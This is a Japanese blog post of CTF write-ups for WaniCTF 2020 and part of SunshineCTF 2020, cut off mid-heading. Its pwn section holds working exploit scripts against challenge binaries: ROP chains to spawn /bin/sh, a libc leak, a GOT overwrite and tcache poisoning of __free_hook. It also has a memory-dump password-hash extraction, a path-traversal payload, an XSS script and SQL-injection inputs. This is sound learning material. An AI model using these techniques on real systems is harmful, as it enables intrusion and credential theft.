WaniCTF 2020 Writeup
2020/11/21から行われた大阪大学のWani Hackaseが主催のWaniCTF2020に参加しました. 初心者向けということもありたくさん解けて楽しかったです. 特に予定もなかったのでゲームや散歩をしたりアイマス三昧を聞きながらのんびり解いてました. 最終的には1問以外解けて11位でした.
たくさん称号をもらえた😀
https://wanictf.org/2020.html
運営の方のWriteupはこちら.
Crypto
Veni, vidi (Beginner)
SYNT{fvzcyr_pynffvpny_pvcure}
ROT13.
flag: FLAG{simple_classical_cipher}
exclusive (Easy)
keyとフラグをXORしています.
フラグの先頭はFLAG
なのでkeyを特定できます.
あとはkeyとエンコードされたフラグをXORしてあげればいいです.
encoded_flag="" with open('./output.txt') as f: encoded_flag=f.read() key="".join([chr(ord(s)^ord(t)) for s,t in zip(encoded_flag,"FLAG")]) key=key[0:3]*19 flag="".join([chr(ord(s)^ord(t)) for s,t in zip(key,encoded_flag)]) print(flag)
flag: FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}
Basic RSA (Normal)
p=3395691611470965703248776690605631448210299347525030739228383525429324385673465720215627828854181787361366362304515818652121445125278579357291889059651248 q=3110746220571338886416585682818815247453643126964736278072889659177722129615307761446287972409358505242287263598670729290153892071235119046274192564544254 print(p*q)
m=223603686361314586714175565871625848629 e=65537 n=85894259982529774534738977512733247714575520196254720913324021194094962152093953247879110941289388438916327114583817283655596379699397163641937867204006249561822624997027786327017002617537748647387480295462871562217712352315647462266777353450197526216711345361335921281252390277349962674385212195975103527777 print(pow(m,e,n))
p=6941228073710029272709931137126763438896483442698940990387243132086539886565332310623278297429296964091830499215076168232957587276633995785795367241187693 q=8314548613078997011281833094994872127908947348619085044230773215969081721637277929673458305974929666111150247442477357318728654270865385085868340198394011 e=65537 c=34155694723114745250570407342098680267767914080937033675260980008802140827057809636727955655591284380292073512092481470054846682913463633517157610001381562071683975564393928314130271495248909366020791191802272883456401224599207479144661271136616263900027260888317855839786370965495539570774984514060582796682 d=inverse(e,(p-1)*(q-1)) print(pow(c,d,p*q))
flag: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}
LCG crack (Hard)
想定解じゃないです.
elif choice == 2: for cnt in range(1, 11): print(f"[{cnt}/10] Guess the next number!") try: guess = int(input("> ")) except ValueError: print("Please enter an integer\n\n\n") continue if guess == rng.next(): print(f"Correct! ") cnt += 1 else: print(f"Wrong... Try again!") break else: print(f"Congratz! {flag}") break
ValueError
のときcontinue
になっています.
文字を入力すると整数を入力するように促されるのですが, それを無視して10回文字を入力するとフラグが表示されます.
flag: FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}
l0g0n (Very hard)
AES暗号のECBモードは危ないっていうのは聞いたことがある.
同じ値を入力したらフラグが表示された...
よくわかってないです.
flag: FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}
Forensics
logged_flag (Beginner)
key_log.txt
に書いてあります.
flag: FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}
ALLIGATOR_01 (Easy)
volatilityを使います.
ここやここを参考にさせていただきました.
$ volatility -f ./ALLIGATOR.raw imageinfo $ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 pslist 0x84dd6b28 evil.exe 3632 2964 1 21 2 0 2020-10-26 03:01:55 UTC+0000
flag: FLAG{2020-10-26_03:01:55_UTC+0000}
ALLIGATOR_02 (Normal)
$ strings ./ALLIGATOR.raw | grep FLAG
または
$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 consoles
flag: FLAG{y0u_4re_c0n50les_master}
chunk_eater (Normal)
壊れたPNGファイルが与えられます.
ヒントにあるサイトを参考にさせていただきました.
バイナリエディタで開いて"WANI"という文字列を順番にIHDR,IDAT,IDAT,IDAT,IENDにすると開けるようになります.
flag: FLAG{chunk_is_so_yummy!}
ALLIGATOR_03 (Hard)
パスワード付きのzipファイルが与えられます. パスワードを特定すればよさそうです.
ここを参考にさせていただきました.
Linuxのvolatilityを使っていたのですがhashdump
が使えなかったのでWindowsの方を使いました.
> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hivelist Volatility Foundation Volatility Framework 2.6 Virtual Physical Name ---------- ---------- ---- 0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve 0x9a37a008 0x0edcf008 \??\C:\Users\ALLIGATOR\ntuser.dat 0x9a37c008 0x0eed1008 \??\C:\Users\ALLIGATOR\AppData\Local\Microsoft\Windows\UsrClass.dat 0x8780a6b8 0x282fb6b8 [no name] 0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM 0x87838218 0x28367218 \REGISTRY\MACHINE\HARDWARE 0x8b0599c8 0x248859c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT 0x8cb07008 0x26f46008 \Device\HarddiskVolume1\Boot\BCD 0x8e7f7008 0x26313008 \SystemRoot\System32\Config\SOFTWARE 0x904655f8 0x225685f8 \??\C:\Users\IEUser\ntuser.dat 0x9144b5c0 0x260205c0 \SystemRoot\System32\Config\DEFAULT 0x937338d0 0x250778d0 \SystemRoot\System32\Config\SECURITY 0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM 0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat 0x937fb758 0x248dd758 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT 0x96449458 0x03f4f458 \??\C:\Users\sshd_server\ntuser.dat 0x9645d3d8 0x2830b3d8 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat
\REGISTRY\MACHINE\SYSTEM
と\SystemRoot\System32\Config\SAM
のアドレスを指定してhashdump
します.
> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hashdump -y 0x8781a008 -s 0x93791458 Volatility Foundation Volatility Framework 2.6 Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035::: ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::
5e7a211fee4f7249f9db23e4a07d7590
を https://crackstation.net/ に投げました.
パスワードはilovewani
.
flag: FLAG{The_Machikane_Crocodylidae}
zero_size_png (Very hard)
想定解じゃないです.
サイズが0x0のPNGファイルが与えられます.
バイナリエディタで開いて, ヒントにあるサイトを参考にサイズをいじります.
IHDRの直後の4バイトが画像の幅でその直後の4バイトが画像の高さになるようです.
頑張ってフラグが見えるサイズ(2997 x 1000)にしました.
想定解は正しい縦横比を総当たりで求めるみたいです.
flag: FLAG{Cyclic_Redundancy_CAT}
Misc
Find a Number (Beginner)
0~500000の範囲の乱数を当てます.
電卓を使いながら手動で二分探索しました.
flag: FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}
MQTT Challenge (Normal)
サブスクライブすると約1分ごとにそのトピックのメッセージが流れてきます. フラグを配信しているトピックを見つければよさそうです.
ここによるとマルチレベルワイルドカードというものがあるそうです. #
を入力して待つとフラグが表示されます.
flag: FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}
PWN
netcat (Beginner)
nc netcat.wanictf.org 9001
するとシェルが起動しています.
flag: FLAG{netcat-1s-sw1ss-4rmy-kn1fe}
var rewrite (Beginner)
ローカル変数を書き換える.
入力はrbp-0x16
からで比較対象の変数はrbp-0xc
からなので0xa(=0x16-0xc)
文字後に"WANI"を置くとよさそうです.
$ nc var.wanictf.org 9002 What's your name?: AAAAAAAAAAWANI hello AAAAAAAAAAWANI! Congratulation! cat flag.txt FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
flag: FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}
binsh address (Easy)
binsh
のアドレスを入力すればいいです. 表示されるアドレスはval
のアドレスのようです.
binsh
のoffsetを調べます.
gdb-peda$ start gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 2 results, display max 2 items: pwn03 : 0x555555756020 --> 0x68732f6e69622f ('/bin/sh') libc : 0x7ffff7f7c143 --> 0x68732f6e69622f ('/bin/sh') gdb-peda$ c Continuing. The address of "input " is 0x555555756010. Please input "/bin/sh" address as a hex number:
表示されるアドレスに0x10(=0x555555756020-0x555555756010)
を足せばよさそうです.
$ nc var.wanictf.org 9003 The address of "input " is 0x55ec32711010. Please input "/bin/sh" address as a hex number: 0x55ec32711020 Your input address is 0x55ec32711020. Congratulation! cat flag.txt FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
flag: FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}
got rewrite (Easy)
GOT Overwrite.
入力の後にあるprintf
のGOTをwin
のアドレスに書き換えればよさそうです.
printf
のGOTのアドレスを調べます.
$ readelf -a ./pwn04 再配置セクション '.rela.plt' at offset 0x590 contains 9 entries: オフセット 情報 型 シンボル値 シンボル名 + 加数 000000601018 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 000000601020 000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0 000000601028 000300000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0 000000601030 000400000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0 000000601038 000500000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0 000000601040 000600000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0 000000601048 000700000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0 000000601050 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 strtol@GLIBC_2.2.5 + 0 000000601058 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
$ nc var.wanictf.org 9004 Welcome to GOT rewriter!!! win = 0x400807 Please input target address (0x600e10-0x6010b0): 0x000000601038 Your input address is 0x601038. Please input rewrite value: 0x400807 Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! cat flag.txt FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
flag: FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}
ret rewrite (Normal)
vuln
内のread
でBOFが起きます. リターンアドレスをwin
のアドレスに書き換えればよさそうです.
入力はrbp-0xe
からなのでoffsetは0x16(=0xe+0x8)
.
問題文にあるようにwin
を実行してもスタックのアライメントの問題でsystem
で落ちます. なので, win
の最初のpush rbp
をとばします.
$ (python -c "print('A'*22+'\x38\x08\x40\x00\x00\x00\x00\x00')";cat)| nc ret.wanictf.org 9005 What's your name?: Hello AAAAAAAAAA! ***start stack dump*** 0x7ffd1ffd5fd0: 0x41414141414160d0 <- rsp 0x7ffd1ffd5fd8: 0x0000001f41414141 0x7ffd1ffd5fe0: 0x4141414141414141 <- rbp 0x7ffd1ffd5fe8: 0x0000000000400838 <- return address 0x7ffd1ffd5ff0: 0x0000000000400a00 0x7ffd1ffd5ff8: 0x00007f706b311bf7 0x7ffd1ffd6000: 0x0000000000000001 ***end stack dump*** congratulation! cat flag.txt FLAG{1earning-how-return-address-w0rks-on-st4ck}
flag: FLAG{1earning-how-return-address-w0rks-on-st4ck}
rop func call (Normal)
ret_rewriteと同様にvuln
内のread
でBOFが起きます. 第1引数にbinsh
のアドレスを指定してsystem
を呼び出します. ret_rewriteと同様にスタックのアライメントの問題で落ちるのでret
をはさみます.
pop rdi
とret
のアドレスはROPgadget
で調べました. ret
は(pop rdiのアドレス)+1
で代用できるので調べなくてもいいです.
$ ROPgadget --binary ./pwn06
from pwn import * # p=process('./pwn06') p=remote('rop.wanictf.org',9006) e=ELF('./pwn06') pop_rdi=0x0000000000400a53 ret=0x000000000040065e payload=b'A'*22 payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(e.symbols['binsh']) payload+=p64(e.plt['system']) p.recv() p.sendline(payload) p.interactive()
flag: FLAG{learning-rop-and-x64-system-call}
one gadget rce (Hard)
想定解じゃないです.
vuln
内のread
でBOFが起きます. やることは以下の通りです.
- リターンアドレスを書き換えて
puts
を呼び出しputs
のGOTをリークしてlibcのアドレスを求める. vuln
に戻る.- リターンアドレスを書き換えて
system("/bin/sh")
を実行.
from pwn import * # p=process('./pwn07') p=remote('rce.wanictf.org',9007) e=ELF('./pwn07') libc=ELF('libc-2.27.so') pop_rdi=0x0000000000400a13 ret=0x0000000000400626 payload=b'A'*22 payload+=p64(pop_rdi) payload+=p64(e.got['puts']) payload+=p64(e.plt['puts']) payload+=p64(e.symbols['vuln']) p.recv() p.sendline(payload) p.recvuntil('***end stack dump***\n\n') libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts'] print(hex(libc.address)) payload=b'A'*22 payload+=p64(ret) payload+=p64(pop_rdi) payload+=p64(next(libc.search(b'/bin/sh'))) payload+=p64(libc.symbols['system']) p.recv() p.sendline(payload) p.interactive()
flag: FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}
heap (Very hard)
解けなかった😭
ヒープオーバーフローからのtcache poisoningだろうと思ったけどtcacheがうまく繋がらなかった.
運営の方のWriteupを参考にさせていただきました.
サイズが0x20のchunkでlibcのアドレスをリークして, サイズが0x30のchunkで__free_hook
を書き換えました.
from pwn import * context.log_level='info' def add(i,size): log.info('add '+str(i)) p.recvuntil('command?: ') p.sendline('1') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) p.recvuntil('size?: ') p.sendline(str(size)) def edit(i,memo): log.info('edit '+str(i)) p.recvuntil('command?: ') p.sendline('2') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) p.recvuntil('memo?: ') p.sendline(memo) def view(i): log.info('view '+str(i)) p.recvuntil('command?: ') p.sendline('3') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) return u64(p.recv(6).ljust(8,b'\x00')) def del_memo(i): log.info('del '+str(i)) p.recvuntil('command?: ') p.sendline('9') p.recvuntil('index?[0-9]: ') p.sendline(str(i)) # p=process('./pwn08') p=remote('heap.wanictf.org',9008) e=ELF('./pwn08') libc=ELF('./libc-2.27.so') payload=b'A'*16 payload+=p64(0) payload+=p64(0x31) payload+=p64(e.got['printf']) add(0,10) add(1,10) del_memo(1) edit(0,payload) add(2,10) add(3,10) libc.address=view(3)-libc.symbols['printf'] print(hex(libc.address)) payload=b'A'*32 payload+=p64(0) payload+=p64(0x31) payload+=p64(libc.symbols['__free_hook']) add(4,40) add(5,40) del_memo(5) edit(4,payload) add(6,40) add(7,40) edit(7,p64(libc.symbols['system'])) add(8,40) edit(8,b'/bin/sh') del_memo(8) p.interactive()
flag: FLAG{I-am-a-heap-beginner}
Reversing
strings (Beginner)
$ strings ./strings | grep FLAG
flag: FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}
simple (Normal)
angrに投げた.
import angr project = angr.Project('./simple') entry = project.factory.entry_state() simgr = project.factory.simgr(entry) simgr.explore() states = simgr.deadended for state in states: flag = b"".join(state.posix.stdin.concretize()) print(flag)
flag: FLAG{5imp1e_Revers1ng_4rray_5trings}
complex (Hard)
angrでも解けるみたいだけどできなかった. Ghidra, GDBで解析しました.
Ghidraのデコンパイルはちょっと分かりにくかったので自分なりにコードを書きました. 疑似コードやメモみたいなのはコメントアウトしています.
#include<stdio.h> int check_0(char *s){ char *x,*y; for(int i=0;i<36;i++){ if(x[i]^s[i]!=y[i]) return 0; } return 1; } int check_13(char *s){ char *x,*y; for(int i=0;i<36;i++){ if(x[i]^s[i]!=y[i]) return 1; } return 2; } int check(int i,char *s){ switch (i) { // return check_i(s); } } int main(){ char* s; scanf("%s",s); // len(s)==42 // s-="FLAG{}"; int i=0; for(i=0;i<20;i++){ int k=check(i,s); if(k==0) continue; if(k==1) break; if(k==2) printf("Correct!\n"); } printf("Incorrect!\n"); }
まず, フラグは42文字でフラグから"FLAG{}"を取り除いた36文字とループ変数が20回check
に渡されます. check
の戻り値が2だと正解で1だと終了します. check
はループごとに別の関数を呼び出します. check_13
だけ2を返す処理があります. ローカル変数が2つあり, 片方とXORをとったときもう片方と一致していれば2を返します. よって, check_13
の2つのローカル変数をXORすればフラグが求まります. リトルエンディアンに注意.
x=['0x3131393431333637','0x3435313837393235','0x3635313836343636','0x3834303131353334','0x34323435','0x37'] y=['0x6e44564d6e575f53','0x576a48545b585747','0x535d45675d57535e','0x675a42444550416b','0x415e5543','0x52'] flag="FLAG{" for i1,i2 in zip(x,y): s=reversed(bytes.fromhex(i1[2:]).decode()) t=reversed(bytes.fromhex(i2[2:]).decode()) for c1,c2 in zip(s,t): flag+=chr(ord(c1)^ord(c2)) flag+="}" print(flag)
flag: FLAG{did_you_really_check_the_return_value}
static (Very hard)
$ strings ./static
するとUPXという文字が見えました. なので, アンパックします.
$ upx -d ./static
Ghidraで解析しました.
complexと同様にフラグの中身が取り出され, 何かとXORをとりそれがローカル変数と等しいと正解みたいです. この何かは関数によって求められていたのですが, 処理が複雑でよくわかりませんでした. この関数には引数がなかったので一定の値が返ってくるのではないかと思い, GDBでメモリを読みました.
strippedなバイナリの解析はあまりやったことがなかったので, こちらを参考にさせていただきました.
gdb-peda$ info file gdb-peda$ b *0x400a80 gdb-peda$ r gdb-peda$ x/400i $rip gdb-peda$ b *0x400e95 gdb-peda$ x/50wx $rbp-0xd0 0x7fffffffe910: 0x63c1d9b9 0x383f1bd1 0x4107dda4 0x34841fea 0x7fffffffe920: 0x3ebdf50c 0x315655eb 0x4def053a 0x1bfdeb26 0x7fffffffe930: 0x24118fca 0x2722989c 0x7abcb583 0x09466305 0x7fffffffe940: 0x7799b061 0x172289c3 0x401a25fc 0x39ce6189 0x7fffffffe950: 0x56ec69c1 0x106f1fd2 0x77fc40b6 0x4828aec2 0x7fffffffe960: 0x2252ba83 0x45935da2 0x7565bdfe 0x5ae2409f 0x7fffffffe970: 0x20edd672 0x47362435 0x0b61fcb5 0x7c7607de 0x7fffffffe980: 0x6cf7730d 0x5222628a 0x5ee131a8 0x50b94cc6 0x7fffffffe990: 0x0a617e5b 0x1fe90f4c 0x053d6cb0 0x491f7368 0x7fffffffe9a0: 0x513f6537 0x532c71ea 0x651d5e8e 0x7550f502 0x7fffffffe9b0: 0x7a4f0a87 0x5fda1411 0x7e975807 0x71e8bae8 0x7fffffffe9c0: 0x76fc9dd4 0x3eb17e04 0x2bb71c71 0x4de90796 0x7fffffffe9d0: 0x00000000 0x00000000
やはり一定の値が返ってきてました! よって, このメモリの値とローカル変数の値をXORすればフラグが求まります.
x=[0x63c1d9b9,0x383f1bd1,0x4107dda4,0x34841fea,0x3ebdf50c,0x315655eb,0x4def053a,0x1bfdeb26,0x24118fca,0x2722989c,0x7abcb583,0x09466305,0x7799b061,0x172289c3,0x401a25fc,0x39ce6189,0x56ec69c1,0x106f1fd2,0x77fc40b6,0x4828aec2,0x2252ba83,0x45935da2,0x7565bdfe,0x5ae2409f,0x20edd672,0x47362435,0x0b61fcb5,0x7c7607de,0x6cf7730d,0x5222628a,0x5ee131a8,0x50b94cc6,0x0a617e5b,0x1fe90f4c,0x053d6cb0,0x491f7368,0x513f6537,0x532c71ea,0x651d5e8e,0x7550f502,0x7a4f0a87,0x5fda1411,0x7e975807,0x71e8bae8,0x76fc9dd4,0x3eb17e04,0x2bb71c71,0x4de90796] y=[0x63c1d9cb,0x383f1bb2,0x4107dd90,0x34841fb5,0x3ebdf538,0x31565585,0x4def055e,0x1bfdeb79,0x24118ff9,0x272298e8,0x7abcb5e2,0x9466371,0x7799b008,0x172289a0,0x401a25a3,0x39ce61b8,0x56ec69a8,0x106f1fbc,0x77fc40dd,0x4828ae9d,0x2252bab7,0x45935dcc,0x7565bd9a,0x5ae240c0,0x20edd601,0x47362402,0xb61fcc7,0x7c7607b7,0x6cf7737d,0x522262fa,0x5ee1319b,0x50b94ca2,0xa617e04,0x1fe90f3c,0x53d6c81,0x491f731d,0x513f6544,0x532c71b5,0x651d5efb,0x7550f572,0x7a4f0aff,0x5fda144e,0x7e975877,0x71e8ba89,0x76fc9db7,0x3eb17e6f,0x2bb71c42,0x4de907f2] flag="FLAG{" flag+="".join([chr(i^j) for i,j in zip(x,y)]) flag+="}" print(flag)
flag: FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}
Web
DevTools_1 (Beginner)
ソースコードを見るとフラグがコメントアウトされてました.
flag: FLAG{you_can_read_html_using_devtools}
DevTools_2 (Beginner)
0円のところを5000000000000000円に書き換えるとフラグが表示されました.
flag: FLAG{you_can_edit_html_using_devtools}
Simple Memo (Beginner)
ディレクトリトラバーサル.
flag.txt
はmemos
ディレクトリと同じ位置にあるみたいなので../flag.txt
と入力すればよさそうですが../
が削除されてしまいます.
....//flag.txt
と入力すると../flag.txt
となりフラグが表示されます.
flag: FLAG{y0u_c4n_get_hi5_5ecret_fi1e}
strped table (Easy)
メモが作成できるサイト.
XSS.
ソースコードを見るとindex
が奇数のときmemo
がチェックされてないことがわかります. 2つ目のメモに<script>alert(19640503)</script>
を入力するとフラグが表示されます.
flag: FLAG{simple_cross_site_scripting}
SQL Challenge 1 (Normal)
想定解じゃないです.
SQL Injection.
ソースコードを見ると', ,/,\,|
が使えないことがわかります.
$query = "SELECT * FROM anime WHERE years =$year";
このSQL文のWHERE句をTrue
にすればよいので, years
を入力しました.
想定解は(1)or(1)=(1)
みたいです. 空白を使わずにWHERE句をTrue
にできます.
flag: FLAG{53cur3_5ql_a283b4dffe}
SQL Challenge 2 (Hard)
想定解じゃないです.
SQL Injection.
文字列と数字以外を入力すると前に\
が挿入されます.
SQL Challenge 1と同様にyearsを入力するとフラグが表示されました.
想定解は0
みたいです. years
は文字列なのですが
MySQLでは比較演算を行う際、比較対象の一方が数値ならもう片方も数値として扱うという暗黙的な型変換が行われるようです。
なので数値を入力するとyears
は数値になります. また,
しかしyearsカラムに数字以外の文字列が入っていた場合、その文字列はすべて0という値に変換されます。
なので0
を入力すると数字以外の文字列で記録されたデータが表示されます.
参考
flag: FLAG{5ql_ch4r_cf_ca87b27723}
SunshineCTF 2020 Writeup
11/7から行われたSunshineCTF 2020に参加しました. たくさん解けて楽しかったです.
Web
Password Pandemonium (100 Pts)
登録フォームが表示される. 適当に登録しようとするとパスワードでいろいろなエラーが出る.
- 短い
- 長い
- 特殊文字を3文字以上
- 素数を含む
- 絵文字を含む
- 大文字と小文字の数が同じ
- 回文
- JavaScriptで
True
が返される - MD5でハッシュしたとき先頭が数字
"😀Aa3aA😀"=="😀Aa3aA😀"
と入力したらフラグが表示された.
flag: sun{Pal1ndr0m1c_EcMaScRiPt}
Reversing
Hotel Door Puzzle (100 Pts)
$ ./hotel_key_puzzle Hotel Orlando Door Puzzle v1 ---------------------------- This puzzle, provided by Hotel Orlando, is in place to give the bellhops enough time to get your luggage to you. We have really slow bellhops and so we had to put a serious _time sink_ in front of you. Have fun with this puzzle while we get your luggage to you! -Hotel Orlando Bellhop and Stalling Service Your guess, if you would be so kind: abcd Sadly, that is the incorrect key. If you would like, you could also sit in our lobby and wait.
keyがフラグっぽい.
angrを使いました.
import angr project = angr.Project('./hotel_key_puzzle') entry = project.factory.entry_state() simgr = project.factory.simgr(entry) simgr.explore() states = simgr.deadended for state in states: flag = b"".join(state.posix.stdin.concretize()) print(flag)
$ python3 solve.py b'sun{b3llh0p\xd9-runn\xc9n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9' b'sun{b3llh0p\xc9-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9' b'sun{b3llh0p5-runn1n6-qu1ckly}\x00\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9'
angrの使い方はSECCON Beginners Liveで解説されてました.
http://o0i.es/c4blive.pdf
flag: sun{b3llh0p5-runn1n6-qu1ckly}
Crypto
Magically Delicious (100 Pts)
⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄
Tip: If you're digging into the unicode encoding of the emojis, you're on the wrong track!
ありがたいヒント.
3文字ごとに区切られてるから8進数かな.
>>> for c in "sun{}": ... print(oct(ord(c))) ... 0o163 0o165 0o156 0o173 0o175
⭐ → 1, 🌈 → 6, 🍀 → 3, 🦄 → 5, 🎈 → 7 と変換すればよさそう.
💜, 🐴, 🌑はいい感じの文字列になるように変換した.
encoded_flag="⭐🌈🍀 ⭐🌈🦄 ⭐🦄🌈 ⭐🎈🍀 ⭐🦄🌑 ⭐🌈🦄 ⭐🌑🍀 ⭐🦄🍀 ⭐🎈⭐ 🦄🦄 ⭐🦄🎈 ⭐🌑🍀 ⭐🌈🌑 ⭐🌑⭐ ⭐🦄🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄⭐ ⭐🌈🍀 🦄🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🌑🦄 🦄🦄 ⭐🌑🐴 ⭐🌑🦄 ⭐🌈🍀 ⭐🌈🌑 🦄🦄 ⭐🌑🦄 ⭐🦄🌈 ⭐🌑🍀 ⭐🦄🎈 ⭐🌑🌑 ⭐🦄⭐ ⭐🦄🌈 ⭐🌑🎈 🦄🦄 ⭐🦄🦄 ⭐🌑🦄 ⭐🌈🌑 ⭐🦄💜 ⭐🦄🎈 ⭐🌑🌑 ⭐🎈🦄" l=encoded_flag.split(' ') flag="" for i in l: s="" for c in i: if c=='💜': s+='0' if c=='⭐': s+='1' if c=='🐴': s+='2' if c=='🍀': s+='3' if c=='🌑': s+='4' if c=='🦄': s+='5' if c=='🌈': s+='6' if c=='🎈': s+='7' flag+=chr(int(s,8)) print(flag)
$ python3 solve.py sun{lucky-octal-encoding-is-the-best-encoding-method}
flag: sun{lucky-octal-encoding-is-the-best-encoding-method}
Speedrun
pwnの基礎問題的なやつ. いい練習になりました.
00 (10 Pts)
gdb-peda$ disas main Dump of assembler code for function main: 0x00000000000006ca <+0>: push rbp 0x00000000000006cb <+1>: mov rbp,rsp 0x00000000000006ce <+4>: sub rsp,0x40 0x00000000000006d2 <+8>: lea rdi,[rip+0xcb] # 0x7a4 0x00000000000006d9 <+15>: call 0x580 <puts@plt> 0x00000000000006de <+20>: lea rax,[rbp-0x40] 0x00000000000006e2 <+24>: mov rdi,rax 0x00000000000006e5 <+27>: mov eax,0x0 0x00000000000006ea <+32>: call 0x5a0 <gets@plt> 0x00000000000006ef <+37>: cmp DWORD PTR [rbp-0x4],0xfacade 0x00000000000006f6 <+44>: jne 0x704 <main+58> 0x00000000000006f8 <+46>: lea rdi,[rip+0xba] # 0x7b9 0x00000000000006ff <+53>: call 0x590 <system@plt> 0x0000000000000704 <+58>: cmp DWORD PTR [rbp-0x8],0xfacade 0x000000000000070b <+65>: jne 0x719 <main+79> 0x000000000000070d <+67>: lea rdi,[rip+0xa5] # 0x7b9 0x0000000000000714 <+74>: call 0x590 <system@plt> 0x0000000000000719 <+79>: nop 0x000000000000071a <+80>: leave 0x000000000000071b <+81>: ret End of assembler dump.
rbp-0x4
かrbp-0x8
の値が0xfacade
になっているとシェルが起動する. 入力がrbp-0x40
からに格納されるので0x3c
文字か0x38
文字後に0xfacade
を置く.
from pwn import * # p=process('./chall_00') p=remote('chal.2020.sunshinectf.org',30000) arg=0xfacade payload=b'' for i in range(8): payload+=p64(arg) p.recv() p.sendline(payload) p.interactive()
flag: sun{burn-it-down-6208bbc96c9ffce4}
01 (10 Pts)
